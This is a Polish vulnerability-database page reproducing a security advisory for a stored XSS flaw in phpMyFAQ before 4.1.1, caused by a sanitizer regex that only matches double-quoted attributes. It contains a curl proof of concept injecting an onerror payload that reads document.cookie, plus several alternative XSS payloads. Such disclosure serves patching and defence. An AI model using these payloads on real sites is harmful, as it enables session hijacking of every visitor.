Średnia

phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

  • Ujawniono: 01.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The sanitization pipeline for FAQ content is:

  1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities
  2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters
  3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

php
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match:

  • Attributes with single quotes: onerror='alert(1)'
  • Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

php
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

twig
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
    • The regex requires ="..." (double quotes)
    • onerror=alert(1) has NO quotes → NOT matched
    • src=x has NO quotes → NOT matched
    • No attributes are found for removal
  5. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  6. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">:

  • The regex matches both src="x" and onerror="alert(1)"
  • src is in $keep → preserved
  • onerror is NOT in $keep → removed via str_replace()
  • Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

bash
curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "test@test.com"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

html
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer phpmyfaq/phpmyfaq < 4.1.1 4.1.1

Odnośniki

Ocena CVSS 6.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
phpmyfaq/phpmyfaq
Ujawniono
01.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-cv2g-8cj8-vgc7 - CC BY 4.0

Historia podatności: phpmyfaq/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (47) w archiwum
Wszystkich wpisów
47
Pierwsza → ostatnia
10.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 18
  • Średnia 25
  • Niska 2

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Istotność:
  1. Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes() ten wpis
    Średnia · 6.1 CVE-2026-34729 < 4.1.1 4.1.1
  6. Wysoka · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. Wysoka · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. Wysoka · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
Pokaż więcej (1) Widać 20 z 21

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.